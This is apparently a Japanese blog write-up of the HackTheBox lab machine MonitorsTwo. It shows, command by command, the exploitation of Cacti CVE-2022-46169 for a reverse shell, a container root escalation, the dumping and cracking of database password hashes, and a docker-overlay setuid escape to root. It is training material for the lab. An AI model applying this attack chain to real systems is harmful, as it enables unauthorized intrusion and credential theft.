2
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

More than 1 year has passed since last update.

今回の記事はHackTheBoxのEasyマシン「MonitorsTwo」のWriteUpです!
名前からすると環境が2つあるような感じがしますが、コンテナが使用されていたりするのでしょうか。
攻略目指して頑張ります!!
MonitorsTwo.png
評価も高くグラフもいい感じにEasyっぽいですね。
最近はEasyとなっていても難しいマシンが多いのですが、今回はどうでしょうか。

HackTheBoxってなに?という方はこちらの記事を見てみてください!一緒にハッキングしましょう!

また、HackTheBoxで学習する上で役にたつサイトやツールをまとめている記事もあるので、合わせてみてみてください!

MonitorsTwo

侵入

それでは攻略を開始しましょう。

・ポートスキャン

┌──(kali㉿kali)-[~/Desktop/MonitorsTwo]
└─$ sudo nmap -Pn -n -v --reason -sS -p- --min-rate=1000 -A 10.10.11.211 -oN nmap.log

PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 48add5b83a9fbcbef7e8201ef6bfdeae (RSA)
|   256 b7896c0b20ed49b2c1867c2992741c1f (ECDSA)
|_  256 18cd9d08a621a8b8b6f79f8d405154fb (ED25519)
80/tcp open  http    syn-ack ttl 63 nginx 1.18.0 (Ubuntu)
|_http-favicon: Unknown favicon MD5: 4F12CCCD3C42A4A478F067337FE92794
|_http-title: Login to Cacti
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.18.0 (Ubuntu)

22番と80番を確認しました。

・Web探索
80番を確認しているので、いつも通りにアクセスしていきます。
TopPage.png
ログイン画面が表示されました。

CVE-2022-46169

さらにログイン画面には、Cacti Groupのバージョンが表示されています。
脆弱性が存在しないかGoogleで調べてみると、興味深い記事を発見しました。

記事によると、Cactiのバージョン1.2.22以下はコマンドインジェクションに対して脆弱であるようです。
実際にPoCもgithubに公開されているので、それを使用して発火するか試してみましょう。
使用させていただくPoCも載せておきます。

cloneしてローカルにダウンロードしておきましょう。

┌──(kali㉿kali)-[~/Desktop/MonitorsTwo]
└─$ git clone https://github.com/FredBrave/CVE-2022-46169-CACTI-1.2.22.git 
Cloning into 'CVE-2022-46169-CACTI-1.2.22'...
remote: Enumerating objects: 15, done.
remote: Counting objects: 100% (15/15), done.
remote: Compressing objects: 100% (13/13), done.
remote: Total 15 (delta 3), reused 5 (delta 1), pack-reused 0
Receiving objects: 100% (15/15), 4.42 KiB | 348.00 KiB/s, done.
Resolving deltas: 100% (3/3), done.

www-dataとしてのシェル

ダウンロードも完了したので、実行していきます。
先に、Kaliで待ち受けておきます。

┌──(kali㉿kali)-[~/Desktop/MonitorsTwo]
└─$ nc -lvnp 4321  
listening on [any] 4321 ...

待ち受けが完了したので、PoCに従って実行します。

┌──(kali㉿kali)-[~/Desktop/MonitorsTwo/CVE-2022-46169-CACTI-1.2.22]
└─$ python3 CVE-2022-46169.py -u http://10.10.11.211 --LHOST=10.10.14.3 --LPORT=4321
Checking...
The target is vulnerable. Exploiting...
Bruteforcing the host_id and local_data_ids
Bruteforce Success!!

Success!!と出力されたのでうまく実行できていそうです。
シェルが返ってきているか見てみると

┌──(kali㉿kali)-[~/Desktop/MonitorsTwo]
└─$ nc -lvnp 4321  
listening on [any] 4321 ...
connect to [10.10.14.3] from (UNKNOWN) [10.10.11.211] 53446
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
www-data@50bca5e748b0:/var/www/html$ whoami
whoami
www-data

返ってきていますね!
第一段階はクリアです!

横移動

まずはユーザを確認するために、homeディレクトリを見てみます。

www-data@50bca5e748b0:/home$ ls -la
total 8
drwxr-xr-x 2 root root 4096 Mar 22 13:21 .
drwxr-xr-x 1 root root 4096 Mar 21 10:49 ..

ユーザが確認できません。
www-data@の横の数字からも予想がつきますが、どうやらコンテナの中に侵入したようです。
コンテナ内を調べるために、権限昇格しておきましょう。

www-data@50bca5e748b0:/var/www/html$ capsh --gid=0 --uid=0 --
root@50bca5e748b0:/var/www/html# whoami
root

権限昇格できました。
気を取り直して、htmlディレクトリを見てみましょう。

root@50bca5e748b0:/var/www/html# ls -l
total 2764
-rw-rw-r-- 1 www-data www-data 254887 Aug 14  2022 CHANGELOG
-rw-rw-r-- 1 www-data www-data  15171 Aug 14  2022 LICENSE
-rw-rw-r-- 1 www-data www-data  11318 Aug 14  2022 README.md
-rw-rw-r-- 1 www-data www-data   4341 Aug 14  2022 about.php
-rw-rw-r-- 1 www-data www-data  63112 Aug 14  2022 aggregate_graphs.php
-rw-rw-r-- 1 www-data www-data  18586 Aug 14  2022 aggregate_items.php
-rw-rw-r-- 1 www-data www-data  25705 Aug 14  2022 aggregate_templates.php
-rw-rw-r-- 1 www-data www-data  14677 Aug 14  2022 auth_changepassword.php
-rw-rw-r-- 1 www-data www-data  15221 Aug 14  2022 auth_login.php
-rw-rw-r-- 1 www-data www-data  19044 Aug 14  2022 auth_profile.php
-rw-rw-r-- 1 www-data www-data  24203 Aug 14  2022 automation_devices.php
-rw-rw-r-- 1 www-data www-data  36742 Aug 14  2022 automation_graph_rules.php
-rw-rw-r-- 1 www-data www-data  42897 Aug 14  2022 automation_networks.php
-rw-rw-r-- 1 www-data www-data  31517 Aug 14  2022 automation_snmp.php
-rw-rw-r-- 1 www-data www-data  18773 Aug 14  2022 automation_templates.php
-rw-rw-r-- 1 www-data www-data  38723 Aug 14  2022 automation_tree_rules.php
・・・

かなりのファイルを確認しました。
これを全てチェックするのは正直骨が折れます。
他に権限移動につながりそうなものを調査してみましょう。

mysql

1番に思いつくのは、データベースです。
アクセスできるか試してみましょう。

root@50bca5e748b0:/var/www/html# mysql --host=db --user=root --password=root
Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MySQL connection id is 15
Server version: 5.7.40 MySQL Community Server (GPL)

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MySQL [(none)]>

ホストを「db」とすることでMariaDBにアクセスできました!
ユーザの認証情報がないかみてましょう。
まずはデータベースを指定します。

MySQL [(none)]> show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| cacti              |
| mysql              |
| performance_schema |
| sys                |
+--------------------+
5 rows in set (0.001 sec)

MySQL [(none)]> use cacti
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
MySQL [cacti]>

次に、テーブルを検索します。

MySQL [cacti]> show tables;
+-------------------------------------+
| Tables_in_cacti                     |
+-------------------------------------+
| aggregate_graph_templates           |
| aggregate_graph_templates_graph     |
| aggregate_graph_templates_item      |
  ・・・
| snmpagent_notifications_log         |
| user_auth                           |
| user_auth_cache                     |
  ・・・
| vdef                                |
| vdef_items                          |
| version                             |
+-------------------------------------+
111 rows in set (0.001 sec)

大量のテーブルがありますが、その中でも「user_auth」テーブルが特に怪しいですね。
SQLを実行し、テーブルの内容を出力します。

MySQL [cacti]> select * from user_auth;
+----+----------+--------------------------------------------------------------+-------+----------------+------------------------+----------------------+-----------------+-----------+-----------+--------------+----------------+------------+---------------+--------------+--------------+------------------------+---------+------------+-----------+------------------+--------+-----------------+----------+-------------+
| id | username | password                                                     | realm | full_name      | email_address          | must_change_password | password_change | show_tree | show_list | show_preview | graph_settings | login_opts | policy_graphs | policy_trees | policy_hosts | policy_graph_templates | enabled | lastchange | lastlogin | password_history | locked | failed_attempts | lastfail | reset_perms |
+----+----------+--------------------------------------------------------------+-------+----------------+------------------------+----------------------+-----------------+-----------+-----------+--------------+----------------+------------+---------------+--------------+--------------+------------------------+---------+------------+-----------+------------------+--------+-----------------+----------+-------------+
|  1 | admin    | $2y$10$IhEA.Og8vrvwueM7VEDkUes3pwc3zaBbQ/iuqMft/llx8utpR1hjC |     0 | Jamie Thompson | admin@monitorstwo.htb  |                      | on              | on        | on        | on           | on             |          2 |             1 |            1 |            1 |                      1 | on      |         -1 |        -1 | -1               |        |               0 |        0 |   663348655 |
|  3 | guest    | 43e9a4ab75570f5b                                             |     0 | Guest Account  |                        | on                   | on              | on        | on        | on           | 3              |          1 |             1 |            1 |            1 |                      1 |         |         -1 |        -1 | -1               |        |               0 |        0 |           0 |
|  4 | marcus   | $2y$10$vcrYth5YcCLlZaPDj6PwqOYTw68W1.3WeKlBn70JonsdW/MhFYK4C |     0 | Marcus Brune   | marcus@monitorstwo.htb |                      |                 | on        | on        | on           | on             |          1 |             1 |            1 |            1 |                      1 | on      |         -1 |        -1 |                  | on     |               0 |        0 |  2135691668 |
+----+----------+--------------------------------------------------------------+-------+----------------+------------------------+----------------------+-----------------+-----------+-----------+--------------+----------------+------------+---------------+--------------+--------------+------------------------+---------+------------+-----------+------------------+--------+-----------------+----------+-------------+
3 rows in set (0.001 sec)

予想通り!ハッシュ化されていますが、パスワードを確認しました。
adminとmarcusの2つのパスワードがハッシュ化されていますね。
解読できるか試してみましょう。

┌──(kali㉿kali)-[~/Desktop/MonitorsTwo]
└─$ john --wordlist=/usr/share/wordlists/rockyou.txt marcus.txt                                                             1 ⨯
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 1024 for all loaded hashes
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
funkymonkey      (?)     
1g 0:00:01:38 DONE (2023-05-08 22:01) 0.01012g/s 86.37p/s 86.37c/s 86.37C/s lilpimp..coucou
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

adminは解読できませんでしたが、marcusのパスワードを解読することができました!

marcusとしてのシェル

では、解読したパスワードがSSHで使えるか試してみましょう。

┌──(kali㉿kali)-[~/Desktop/MonitorsTwo]
└─$ ssh marcus@10.10.11.211   
Warning: Permanently added '10.10.11.211' (ECDSA) to the list of known hosts.
marcus@10.10.11.211s password:

marcus@monitorstwo:~$ whoami
marcus

SSHによるログインが成功しました!

marcus@monitorstwo:~$ ls -l
total 4
-rw-r----- 1 root marcus 33 May  8 12:13 user.txt

フラグも取得できました!

権限昇格

それでは、最後に権限昇格を狙っていきましょう。
今回はコンテナを使用して権限昇格していきます。
まずは、bashにsetuidを設定していきます。

root@50bca5e748b0:/var/www/html# chmod u+s /bin/bash
root@50bca5e748b0:/var/www/html# ls -la /bin/bash
-rwsr-xr-x 1 root root 1234376 Mar 27  2022 /bin/bash

setuidが設定できたので、次にDockerfileを探します。

marcus@monitorstwo:~$ df -h
Filesystem      Size  Used Avail Use% Mounted on
udev            1.9G     0  1.9G   0% /dev
tmpfs           394M  1.3M  392M   1% /run
/dev/sda2       6.8G  4.3G  2.4G  64% /
tmpfs           2.0G     0  2.0G   0% /dev/shm
tmpfs           5.0M     0  5.0M   0% /run/lock
tmpfs           2.0G     0  2.0G   0% /sys/fs/cgroup
overlay         6.8G  4.3G  2.4G  64% /var/lib/docker/overlay2/4ec09ecfa6f3a290dc6b247d7f4ff71a398d4f17060cdaf065e8bb83007effec/merged
shm              64M     0   64M   0% /var/lib/docker/containers/e2378324fced58e8166b82ec842ae45961417b4195aade5113fdc9c6397edc69/mounts/shm
overlay         6.8G  4.3G  2.4G  64% /var/lib/docker/overlay2/c41d5854e43bd996e128d647cb526b73d04c9ad6325201c85f73fdba372cb2f1/merged
shm              64M     0   64M   0% /var/lib/docker/containers/50bca5e748b0e547d000ecb8a4f889ee644a92f743e129e52f7a37af6c62e51e/mounts/shm
tmpfs           394M     0  394M   0% /run/user/1000

overlayを発見しました。
実際にパスをたどり、bashを見てみましょう。

marcus@monitorstwo:/var/lib/docker/overlay2/c41d5854e43bd996e128d647cb526b73d04c9ad6325201c85f73fdba372cb2f1/merged/bin$ ls -la
total 5608
drwxr-xr-x 1 root root    4096 Mar 22 13:21 .
drwxr-xr-x 1 root root    4096 Mar 21 10:49 ..
-rwsr-xr-x 1 root root 1234376 Mar 27  2022 bash

bashにsetuidが設定されているのがわかります。

rootとしてのシェル

ここまできたらあとは権限昇格するだけです。

marcus@monitorstwo:/var/lib/docker/overlay2/c41d5854e43bd996e128d647cb526b73d04c9ad6325201c85f73fdba372cb2f1/merged/bin$ ./bash -p
bash-5.1# whoami
root

権限昇格成功です!

bash-5.1# ls -l
total 8
drwxr-xr-x 2 root root 4096 Mar 22 13:21 cacti
-rw-r----- 1 root root   33 May  8 12:13 root.txt

フラグも取得できました!攻略完了です!

攻略を終えて

今回のマシンはPoCがそのまま使用出来たり、データベースにrootでアクセスすることが出来たりとEasyらしいマシンだったのではないでしょうか。コンテナの権限昇格について経験が無かった人は権限昇格で少し躓くことがあったかもしれませんが、知られているやり方ではあるのでそこまで時間はかからないのではないかと思います。
初期侵入の足場としては、既存の脆弱性が放置されていたことが原因となっているので、確実にアップデートなどの対処をしていく必要があります。また、最近はコンテナやAWSのような技術を使用したマシンも出てきているので、クラウドやコンテナの知識もしっかりと取り入れることが大切ですね。
次回以降のマシン攻略も頑張ります!
最後まで閲覧していただき、ありがとうございました!

2
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
2
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?